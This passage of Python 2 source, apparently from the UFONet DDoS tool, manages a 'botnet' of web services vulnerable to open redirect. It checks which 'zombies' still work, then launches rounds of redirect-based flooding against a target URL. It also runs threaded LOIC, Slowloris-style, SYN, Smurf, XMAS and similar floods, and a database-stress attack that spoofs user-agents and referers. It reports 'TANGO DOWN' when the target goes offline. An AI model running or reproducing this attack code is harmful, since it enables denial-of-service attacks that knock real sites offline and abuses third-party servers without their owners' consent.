  3425. # test Open Redirect vulnerabilities on webapps and show statistics
  3426. # HTTP HEAD check
  3427. army = 0
  3428. print ("Are 'they' alive? :-) (HEAD Check):")
  3429. print '='*35
  3430. num_active_zombies = 0
  3431. num_failed_zombies = 0
  3432. active_zombies = []
  3433. print "Trying:", len(zombies)
  3434. print '-'*21
  3435. for zombie in zombies:
  3436. zombie = str(zombie)
  3437. if zombie.startswith("http://") or zombie.startswith("https://"):
  3438. # send HEAD connection
  3439. self.head = True
  3440. self.connect_zombies(zombie)
  3441. while self.herd.no_more_zombies() == False:
  3442. time.sleep(1)
  3443. for zombie in self.herd.done:
  3444. zombie = str(zombie)
  3445. t = urlparse(zombie)
  3446. if self.herd.get_result(zombie):
  3447. code_reply = self.herd.get_result(zombie)
  3448. self.head = False
  3449. if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405":
  3450. name_zombie = t.netloc
  3451. if name_zombie == "":
  3452. name_zombie = zombie
  3453. print "Zombie:", name_zombie
  3454. print "Status: OK ["+ code_reply + "]"
  3455. num_active_zombies = num_active_zombies + 1
  3456. active_zombies.append(zombie)
  3457. elif code_reply == "404":
  3458. print "Zombie:", t.netloc
  3459. print "Status: Not Found ["+ code_reply + "]"
  3460. num_failed_zombies = num_failed_zombies + 1
  3461. else:
  3462. print "Zombie:", t.netloc, "\nVector:", zombie
  3463. print "Status: Not Allowed ["+ code_reply + "]"
  3464. num_failed_zombies = num_failed_zombies + 1
  3465. else:
  3466. if self.options.verbose:
  3467. print "[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n"
  3468. print "Zombie:", zombie
  3469. print "Status: Malformed!"
  3470. num_failed_zombies = num_failed_zombies + 1
  3471. print '-'*10
  3472. self.herd.reset()
  3473. print '='*18
  3474. print "OK:", num_active_zombies, "Fail:", num_failed_zombies
  3475. print '='*18 + "\n"
  3476. print '='*22
  3477. if num_active_zombies > 0:
  3478. # check url parameter vectors
  3479. print ("Checking for payloads:")
  3480. print '='*22
  3481. print "Trying:", num_active_zombies
  3482. print '-'*21
  3483. zombies_ready = []
  3484. num_waiting_zombies = 0
  3485. if num_active_zombies == 0:
  3486. num_disconnected_zombies = num_failed_zombies
  3487. else:
  3488. num_disconnected_zombies = 0
  3489. for zombie in active_zombies:
  3490. zombie = str(zombie)
  3491. t = urlparse(zombie)
  3492. name_zombie = t.netloc
  3493. if name_zombie == "":
  3494. name_zombie = zombie
  3495. self.payload = True
  3496. self.connect_zombies(zombie)
  3497. self.payload = False
  3498. while self.herd.no_more_zombies() == False:
  3499. time.sleep(1)
  3500. for zombie in self.herd.done:
  3501. zombie = str(zombie)
  3502. t = urlparse(zombie)
  3503. name_zombie = t.netloc
  3504. if name_zombie == "":
  3505. name_zombie = zombie
  3506. payload_zombie = zombie
  3507. payload_reply = ""
  3508. print "Vector:", payload_zombie
  3509. self.payload = True
  3510. if self.herd.get_result(zombie):
  3511. payload_reply = self.herd.get_result(zombie)
  3512. self.payload = False
  3513. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  3514. num_waiting_zombies = num_waiting_zombies + 1
  3515. print "Status:", "Waiting for orders... ;-)"
  3516. zombies_ready.append(zombie)
  3517. else:
  3518. num_disconnected_zombies = num_disconnected_zombies + 1
  3519. print "Status:", "Not ready..."
  3520. army = army + 1
  3521. print '-'*10
  3522. self.herd.reset()
  3523. print '='*18
  3524. print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies
  3525. print '='*18 + "\n"
  3526. # list of [Zombies] ready to attack
  3527. num_active_zombie = 0
  3528. for z in zombies_ready:
  3529. t = urlparse(z)
  3530. name_zombie = t.netloc
  3531. if name_zombie == "":
  3532. name_zombie = z
  3533. num_active_zombie = num_active_zombie + 1
  3534. if self.options.verbose:
  3535. print "Zombie [", num_active_zombie, "]:", name_zombie + "\n"
  3536. if self.options.testall: # testing_all
  3537. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  3538. else:
  3539. print '-'*25 + "\n"
  3540. print '='*24
  3541. print "Working [Zombies]:", num_active_zombie
  3542. print '='*24
  3543. if not self.options.forceyes:
  3544. update_reply = raw_input("\n[AI] Do you want to update your army? (Y/n)")
  3545. print '-'*25
  3546. else:
  3547. update_reply = "Y"
  3548. if update_reply == "n" or update_reply == "N":
  3549. print "[AI] "+self.exit_msg+"\n"
  3550. return
  3551. else:
  3552. self.update_zombies(zombies_ready)
  3553. if not self.options.upload:
  3554. print "\n[Info] [AI] Botnet updated! -> ;-)\n"
  3555. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  3556. else:
  3557. print '-'*25 + "\n"
  3558. print '='*24
  3559. print "Working [Zombies]:", num_active_zombies
  3560. print '='*24
  3561. print "\n[Info] [AI] [Zombies] aren't replying to your HEAD check! -> [Exiting!]\n"
  3562. def testing_all(self):
  3563. # test whole botnet
  3564. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  3565. print '='*35
  3566. zombies = self.extract_zombies()
  3567. rpcs = self.extract_rpcs()
  3568. aliens = self.extract_aliens()
  3569. droids = self.extract_droids()
  3570. ucavs = self.extract_ucavs()
  3571. try:
  3572. botnet = zombies + rpcs + aliens + droids + ucavs
  3573. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  3574. except:
  3575. return
  3576. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  3577. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  3578. print "\n" + '='*52
  3579. print "\n+ Total Botnet:", len(botnet)
  3580. print "\n" + '-'*25
  3581. print "\n+ Total Tested:", len(tested_zombies)
  3582. print "\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]"
  3583. print " - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n"
  3584. print '='*52 + '\n'
  3585. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  3586. if not self.options.forceyes:
  3587. update_reply = raw_input("[AI] Do you want update your army? (Y/n)")
  3588. print '-'*25
  3589. else:
  3590. update_reply = "Y"
  3591. if update_reply == "n" or update_reply == "N":
  3592. print "[AI] "+self.exit_msg+"\n"
  3593. return
  3594. else:
  3595. if num_disconnected_zombies > 0:
  3596. self.update_zombies(zombies_ready)
  3597. if num_failed_rpcs > 0:
  3598. self.update_rpcs(rpcs_ready)
  3599. if not self.options.upload:
  3600. print "\n[Info] [AI] Botnet updated! -> ;-)\n"
  3601. else:
  3602. print "[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n"
  3603. def attacking(self, zombies, target):
  3604. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  3605. if self.options.forcessl:
  3606. if target.startswith("http://"):
  3607. target = target.replace("http://", "https://") # force SSL/TLS
  3608. if target.startswith("http://") or target.startswith("https://"):
  3609. print "Attacking:", target
  3610. print '='*55, "\n"
  3611. # send Open Redirect injection (multiple zombies > one target url)
  3612. reply = self.injection(target, zombies)
  3613. else:
  3614. print "\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n"
  3615. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon):
  3616. # perform some other extra attacks (such as DoS techniques)
  3617. time.sleep(2) # aiming (multi-threading flow time compensation)
  3618. if loic:
  3619. try:
  3620. self.options.loic = int(loic)
  3621. except:
  3622. self.options.loic = 100 # default LOIC requests
  3623. if self.options.loic < 1:
  3624. self.options.loic = 100
  3625. self.instance = LOIC() # instance main class for LOIC operations
  3626. t = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  3627. t.daemon = True # extra weapons are threaded as daemons
  3628. t.start()
  3629. self.update_loic_stats() # add new LOIC attack to mothership stats
  3630. if loris:
  3631. try:
  3632. self.options.loris = int(loris)
  3633. except:
  3634. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  3635. if self.options.loris < 1:
  3636. self.options.loris = 101
  3637. self.instance = LORIS() # instance main class for LORIS operations
  3638. t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  3639. t2.daemon = True
  3640. t2.start()
  3641. self.update_loris_stats() # add new LORIS attack to mothership stats
  3642. if ufosyn:
  3643. try:
  3644. self.options.ufosyn = int(ufosyn)
  3645. except:
  3646. self.options.ufosyn = 100 # default UFOSYN requests
  3647. if self.options.ufosyn < 1:
  3648. self.options.ufosyn = 100
  3649. self.instance = UFOSYN() # instance main class for UFOSYN operations
  3650. t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  3651. t3.daemon = True
  3652. t3.start()
  3653. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  3654. if spray:
  3655. try:
  3656. self.options.spray = int(spray)
  3657. except:
  3658. self.options.spray = 100 # default SPRAY requests
  3659. if self.options.spray < 1:
  3660. self.options.spray = 100
  3661. self.instance = SPRAY() # instance main class for SPRAY operations
  3662. t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  3663. t4.daemon = True
  3664. t4.start()
  3665. self.update_spray_stats() # add new SPRAY attack to mothership stats
  3666. if smurf:
  3667. try:
  3668. self.options.smurf = int(smurf)
  3669. except:
  3670. self.options.smurf = 101 # default SMURF requests
  3671. if self.options.smurf < 1:
  3672. self.options.smurf = 101
  3673. self.instance = SMURF() # instance main class for SMURF operations
  3674. t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  3675. t5.daemon = True
  3676. t5.start()
  3677. self.update_smurf_stats() # add new SMURF attack to mothership stats
  3678. if xmas:
  3679. try:
  3680. self.options.xmas = int(xmas)
  3681. except:
  3682. self.options.xmas = 101 # default XMAS requests
  3683. if self.options.xmas < 1:
  3684. self.options.xmas = 101
  3685. self.instance = XMAS() # instance main class for XMAS operations
  3686. t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  3687. t6.daemon = True
  3688. t6.start()
  3689. self.update_xmas_stats() # add new XMAS attack to mothership stats
  3690. if nuke:
  3691. if sys.platform == "linux" or sys.platform == "linux2":
  3692. try:
  3693. self.options.nuke = int(nuke)
  3694. except:
  3695. self.options.nuke = 10000 # default NUKE requests
  3696. if self.options.nuke < 1:
  3697. self.options.nuke = 10000
  3698. self.instance = NUKE() # instance main class for NUKE operations
  3699. t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  3700. t7.daemon = True # extra weapons are threaded as daemons
  3701. t7.start()
  3702. self.update_nuke_stats() # add new NUKE attack to mothership stats
  3703. else:
  3704. print "\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n"
  3705. if tachyon:
  3706. try:
  3707. self.options.tachyon = int(tachyon)
  3708. except:
  3709. self.options.tachyon = 1000 # default TACHYON requests
  3710. if self.options.tachyon < 1:
  3711. self.options.tachyon = 1000
  3712. self.instance = TACHYON() # instance main class for TACHYON operations
  3713. t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  3714. t8.daemon = True
  3715. t8.start()
  3716. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  3717. def stressing(self, target, zombie):
  3718. # perform a DDoS Web attack against a target, requesting records on target's database
  3719. options = self.options
  3720. db_input = self.options.dbstress
  3721. def random_key(length):
  3722. key = ''
  3723. for i in range(length):
  3724. key += random.choice(string.lowercase + string.uppercase + string.digits)
  3725. return key
  3726. # generating random alphanumeric queries
  3727. if self.db_flash > 9: # set db flash start on: 10
  3728. length = 1024 # search a heavy random length query (db flash): 1024
  3729. self.db_flash = 0 # reset db flash counter
  3730. else:
  3731. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  3732. key = str(random_key(length))
  3733. if self.db_flash > 9:
  3734. print "\n[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)"
  3735. else:
  3736. print "\n[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key
  3737. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3738. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3739. if not target.endswith('/'): # add "/" to end of target
  3740. target = target + "/"
  3741. url = zombie + target + db_input + key
  3742. req = urllib2.Request(url, None, headers)
  3743. if options.proxy: # set proxy
  3744. self.proxy_transport(options.proxy)
  3745. try:
  3746. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  3747. except urllib2.HTTPError, e:
  3748. if e.code == 401:
  3749. print '[Info] [DBStress] Not authorized'
  3750. elif e.code == 404:
  3751. print '[Info] [DBStress] Not found'
  3752. elif e.code == 503:
  3753. print '[Info] [DBStress] Service unavailable'
  3754. else:
  3755. print '[Info] [DBStress] Unknown error'
  3756. else:
  3757. print '[Info] [DBStress] Database query: HIT!'
  3758. def attackme(self, zombies):
  3759. # perform a DDoS Web attack against yourself
  3760. print "[AI] Starting local port to listening at: " + self.port + "\n"
  3761. print '='*21 + "\n"
  3762. self.doll=Doll(self)
  3763. self.doll.start()
  3764. while not self.doll._armed:
  3765. time.sleep(1)
  3766. # send Open Redirect injection (multiple zombies-multiple target urls)
  3767. target = ""
  3768. self.injection(target, zombies)
  3769. self.doll.shutdown()
  3770. self.doll.join()
  3771. self.herd.list_fails()
  3772. def check_target_status(self):
  3773. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  3774. print "\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n"
  3775. if not self.options.forceyes:
  3776. update_reply = raw_input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  3777. print "\n" + '-'*25
  3778. else:
  3779. update_reply = "N"
  3780. if update_reply == "y" or update_reply == "Y":
  3781. try: # send HEAD connection
  3782. self.head = True
  3783. reply = self.connect_zombie(target)
  3784. self.head = False
  3785. if reply:
  3786. print "\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n"
  3787. else:
  3788. print "\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n"
  3789. self.update_targets_crashed() # update targets crashed stats
  3790. self.update_mothership_stats() # update mothership completed attack stats
  3791. except Exception:
  3792. print "\n[Error] [AI] Something wrong with your connection!...\n"
  3793. if self.options.verbose:
  3794. traceback.print_exc()
  3795. return
  3796. else:
  3797. print "\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n"
  3798. self.update_targets_crashed() # update targets crashed stats
  3799. self.update_mothership_stats() # update mothership completed attack stats
  3800. return
  3801. def starting_target_check(self, target, head_check):
  3802. options = self.options
  3803. head_check_here = False
  3804. head_check_external = False
  3805. if options.disablehead: # check at start is disabled (skipping!)
  3806. print "[Info] [AI] Skipping external check...\n"
  3807. head_check_here = True
  3808. head_check_external = True
  3809. else:
  3810. if head_check:
  3811. if not options.attackme:
  3812. print "[AI] Launching: 'Is target up?' check...\n"
  3813. try: # send HEAD connection
  3814. self.head = True
  3815. reply = self.connect_zombie(target)
  3816. self.head = False
  3817. if reply:
  3818. print "[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]"
  3819. head_check_here = True
  3820. else:
  3821. print "[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]"
  3822. head_check_here = False
  3823. except Exception:
  3824. print "[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]"
  3825. if self.options.verbose:
  3826. traceback.print_exc()
  3827. head_check_here = False
  3828. else: # check if local IP/PORT is listening on mothership
  3829. print "[AI] Launching: 'Is NAT ready?' check...\n"
  3830. try:
  3831. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  3832. result = sock.connect_ex(('0.0.0.0',8080))
  3833. if result == 0 or result == 110: # black magic
  3834. print "[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080"
  3835. head_check_here = True
  3836. else:
  3837. print "[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080"
  3838. head_check_here = False
  3839. except Exception:
  3840. print "[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports..."
  3841. if self.options.verbose:
  3842. traceback.print_exc()
  3843. head_check_here = False
  3844. else:
  3845. head_check_here = True
  3846. # check target using external check services
  3847. self.external = True
  3848. if not options.attackme:
  3849. try:
  3850. url = self.external_check_service1 + target # check from external service [1]
  3851. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3852. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3853. if options.proxy: # set proxy
  3854. self.proxy_transport(options.proxy)
  3855. req = urllib2.Request(url, None, headers)
  3856. external_reply = urllib2.urlopen(req, context=self.ctx).read()
  3857. if "It's just you" in external_reply:
  3858. t = urlparse(self.external_check_service1)
  3859. name_external1 = t.netloc
  3860. print "[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]"
  3861. head_check_external = True
  3862. else:
  3863. url = self.external_check_service2 + target # check from external service [2]
  3864. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3865. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3866. if options.proxy: # set proxy
  3867. self.proxy_transport(options.proxy)
  3868. req = urllib2.Request(url, None, headers)
  3869. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  3870. if 'returned code 200 OK and is up' in req_reply:
  3871. t = urlparse(self.external_check_service2)
  3872. name_external2 = t.netloc
  3873. print "[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]"
  3874. head_check_external = True
  3875. else:
  3876. print "[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]"
  3877. head_check_external = False
  3878. except Exception:
  3879. print "[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]"
  3880. head_check_external = False
  3881. else:
  3882. try: # check mothership from public ip / NAT using HEAD request
  3883. try:
  3884. conn = httplib.HTTPConnection(str(self.pub_ip), 8080, timeout=10)
  3885. conn.request("HEAD", "/")
  3886. reply = conn.getresponse()
  3887. except Exception:
  3888. reply = None
  3889. if reply:
  3890. print "[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]"
  3891. head_check_external = True
  3892. else:
  3893. print "[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]"
  3894. head_check_external = False
  3895. head_check_here = False # stop attack if not public IP available
  3896. except Exception:
  3897. print "[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]"
  3898. head_check_here = False # stop attack if not public IP available
  3899. if self.options.verbose:
  3900. traceback.print_exc()
  3901. head_check_external = False
  3902. self.external = False
  3903. return head_check_here, head_check_external
  3904. def injection(self, target, zombies, head_check = True):
  3905. options = self.options
  3906. # check target's integrity at start
  3907. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  3908. # ask user to confirm the attack
  3909. if head_check_here == True or head_check_external == True:
  3910. if not self.options.forceyes:
  3911. if not options.attackme:
  3912. if not options.disablehead:
  3913. start_reply = raw_input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  3914. else:
  3915. start_reply = raw_input("\n[AI] Do you want to start an attack, directly? (y/N)\n")
  3916. else:
  3917. if not options.disablehead:
  3918. start_reply = raw_input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  3919. else:
  3920. start_reply = raw_input("\n[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  3921. else:
  3922. start_reply = "Y"
  3923. if start_reply == "y" or start_reply == "Y":
  3924. if options.attackme:
  3925. total_rounds = "2" # default rounds for attackme
  3926. else:
  3927. total_rounds = options.rounds # extract number of rounds
  3928. if total_rounds <= "0":
  3929. total_rounds = "1"
  3930. self.herd.cleanup()
  3931. num_round = 1
  3932. num_hits = 0
  3933. num_zombie = 1
  3934. # start to attack the target with [MODS]
  3935. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke or options.tachyon:
  3936. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke, self.options.tachyon)) # multithreading flow for extra attacks
  3937. ex.daemon = True # extra weapons are threaded as daemons
  3938. ex.start()
  3939. # start to attack the target with [ARMY]
  3940. zombies = self.extract_zombies() # extract zombies from file
  3941. if zombies:
  3942. self.total_zombie = len(zombies)
  3943. else:
  3944. self.total_zombie = 0
  3945. return
  3946. self.herd=Herd(self)
  3947. if not self.options.disablepurge:
  3948. self.discardzombies = []
  3949. self.discard_aliens = []
  3950. self.discard_droids = []
  3951. self.discard_rpcs = []
  3952. self.discard_ucavs = []
  3953. total_disc_zombies = 0
  3954. self.num_discard_zombies = 0
  3955. self.num_discard_aliens = 0
  3956. self.num_discard_droids = 0
  3957. self.num_discard_rpcs = 0
  3958. self.num_discard_ucavs = 0
  3959. self.empty_zombies = False
  3960. for i in range(0, int(total_rounds)): # start attacking using rounds
  3961. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  3962. print '='*42
  3963. print 'Starting round:', num_round, ' of ', total_rounds
  3964. print '='*42
  3965. self.herd.reset()
  3966. self.extra_zombies_lock = True
  3967. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  3968. self.send_zombies(zombies) # send [Zombies]
  3969. if not self.options.attackme:
  3970. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  3971. if self.options.verbose:
  3972. print "[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]"
  3973. self.send_extra_zombies() # send [ARMY]
  3974. while self.extra_zombies_lock == True:
  3975. time.sleep(1) # wait for [ARMY] to return
  3976. if self.options.verbose:
  3977. print "\n" + '='*42
  3978. print "\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]"
  3979. else:
  3980. zombies_lock = 0
  3981. if self.options.expire: # set timing for purge
  3982. try:
  3983. timing = int(self.options.expire)
  3984. except:
  3985. timing = self.expire_timing # default timing for purge
  3986. else:
  3987. timing = self.expire_timing # default timing for purge
  3988. if timing < 1:
  3989. timing = self.expire_timing # default timing for purge
  3990. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3991. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  3992. zombies_lock = zombies_lock + 1
  3993. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3994. if self.options.verbose:
  3995. print "[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]"
  3996. break
  3997. else:
  3998. time.sleep(1)
  3999. if self.options.verbose:
  4000. print "\n" + '='*42
  4001. print "\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]"
  4002. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  4003. self.check_target_status()
  4004. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  4005. self.abandoning_zombies() # check for abandoning zombies
  4006. for zombie in self.herd.done: # check for num hits
  4007. if self.herd.connection_failed(zombie) == False:
  4008. num_hits = num_hits + 1
  4009. num_zombie = num_zombie + 1
  4010. if num_zombie > self.total_zombie:
  4011. num_zombie = 1
  4012. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  4013. check_is_loading = self.check_is_loading(target)
  4014. self.herd.dump_html()
  4015. if not self.options.disablepurge:
  4016. if self.empty_zombies == True:
  4017. break # exit routine when not any more zombies
  4018. num_round = num_round + 1
  4019. if self.options.verbose:
  4020. print "\n" + '='*42
  4021. print "\n[Info] [AI] This battle is over! -> [Reporting!]"
  4022. if self.options.target_list:
  4023. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  4024. print ("\x1b[2J\x1b[H") # black magic
  4025. if not self.options.attackme: # show herd results
  4026. self.herd.dump()
  4027. else: # show doll results
  4028. print '='*21
  4029. print "\n[Info] [AI] Mothership transmission...\n"
  4030. num_real_zombies = len(self.doll.real_zombies)
  4031. print "[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n"
  4032. for z in self.doll.real_zombies: # show only alien verified zombies
  4033. for x in z:
  4034. print " - " + str(x)
  4035. self.herd.dump_html(True) # show (all) zombies statistics
  4036. if not self.options.attackme:
  4037. if not self.options.disablepurge:
  4038. print "\n[Info] [AI] Report completed! -> [Purging!]\n"
  4039. else:
  4040. if not options.target_list:
  4041. print "\n[Info] [AI] Report completed! -> [Exiting!]\n"
  4042. else:
  4043. print "\n[Info] [AI] Report completed! -> [OK!]\n"
  4044. self.update_mothership_stats() # update mothership stats
  4045. if not self.options.disablepurge:
  4046. print '='*21+ "\n"
  4047. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  4048. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4049. print "[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n"
  4050. elif total_disc_zombies > 1:
  4051. print "[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n"
  4052. if self.num_discard_zombies > 0:
  4053. print " + Zombies: ["+ str(self.num_discard_zombies)+"]"
  4054. if self.num_discard_aliens > 0:
  4055. print " + Aliens : ["+ str(self.num_discard_aliens)+"]"
  4056. if self.num_discard_droids > 0:
  4057. print " + Droids : ["+ str(self.num_discard_droids)+"]"
  4058. if self.num_discard_rpcs > 0:
  4059. print " + X-RPCs : ["+ str(self.num_discard_rpcs)+"]"
  4060. if self.num_discard_ucavs > 0:
  4061. print " + UCAVs : ["+ str(self.num_discard_ucavs)+"]"
  4062. if total_disc_zombies > 0:
  4063. if not self.options.forceyes:
  4064. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4065. backup_reply = raw_input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  4066. elif total_disc_zombies > 1:
  4067. backup_reply = raw_input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  4068. else:
  4069. backup_reply = "Y"
  4070. if backup_reply == "y" or backup_reply == "Y":
  4071. print "\n[Info] [AI] Purging failed units from files...\n"
  4072. discarded = []
  4073. if self.num_discard_zombies > 0:
  4074. for z in self.discardzombies:
  4075. discarded.append(z)
  4076. print " + [Info] [Zombies] "+z+" -> [Purged!]"
  4077. if self.num_discard_aliens > 0:
  4078. for a in self.discard_aliens:
  4079. discarded.append(a)
  4080. print " + [Info] [Aliens] "+a+" -> [Purged!]"
  4081. if self.num_discard_droids > 0:
  4082. for d in self.discard_droids:
  4083. discarded.append(d)
  4084. print " + [Info] [Droids] "+d+" -> [Purged!]"
  4085. if self.num_discard_rpcs > 0:
  4086. for r in self.discard_rpcs:
  4087. discarded.append(r)
  4088. print " + [Info] [X-RPCs] "+r+" -> [Purged!]"
  4089. if self.num_discard_ucavs > 0:
  4090. for u in self.discard_ucavs:
  4091. discarded.append(u)
  4092. print " + [Info] [UCAVs] "+u+" -> [Purged!]"
  4093. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4094. if disc_zombies > 0 and disc_zombies < 2:
  4095. print "\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n"
  4096. elif disc_zombies > 1:
  4097. print "\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n"
  4098. if not self.options.target_list:
  4099. print '-'*21+ "\n"
  4100. print "[AI] "+self.exit_msg+"\n"
  4101. if not self.options.web:
  4102. return
  4103. else:
  4104. if self.num_target_list > 0: # still more targets
  4105. print '-'*21+ "\n"
  4106. print "[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n"
  4107. return
  4108. else: # finish attack from multiple targets
  4109. print '-'*21+ "\n"
  4110. print "[Info] [AI] Attack against: "+str(target)+" -> [Finished!]"
  4111. print "\n"+ '='*21+ "\n"
  4112. print "[Info] [AI] All your battles have ended! -> [Exiting!]"
  4113. print "\n"+ '-'*21+ "\n"
  4114. print "[AI] "+self.exit_msg+"\n"
  4115. if not self.options.web:
  4116. return
  4117. else:
  4118. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  4119. print "\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n"
  4120. if os.path.exists('mothership') == True:
  4121. os.remove('mothership') # remove mothership stream
  4122. if os.path.exists('alien') == True:
  4123. os.remove('alien') # remove random alien worker
  4124. if not options.web:
  4125. sys.exit(2) # exit
  4126. else:
  4127. return
  4128. else:
  4129. print "\n" + '='*21
  4130. AI_reply = raw_input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  4131. if AI_reply == "y" or AI_reply == "Y":
  4132. self.AI() # AI fortune cookie
  4133. print '-'*21+ "\n"
  4134. print "\n[AI] "+self.exit_msg+"\n"
  4135. if os.path.exists('mothership') == True:
  4136. os.remove('mothership') # remove mothership stream
  4137. if os.path.exists('alien') == True:
  4138. os.remove('alien') # remove random alien worker
  4139. if not options.web:
  4140. sys.exit(2) # exit
  4141. else:
  4142. return
  4143. else:
  4144. if not options.attackme:
  4145. print "\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]"
  4146. else:
  4147. print "\n[Error] [AI] NAT is not working correctly! -> [Exiting!]"
  4148. print "\n" + '-'*21
  4149. print "\n[AI] "+self.exit_msg+"\n"
  4150. if os.path.exists('mothership') == True:
  4151. os.remove('mothership') # remove mothership stream
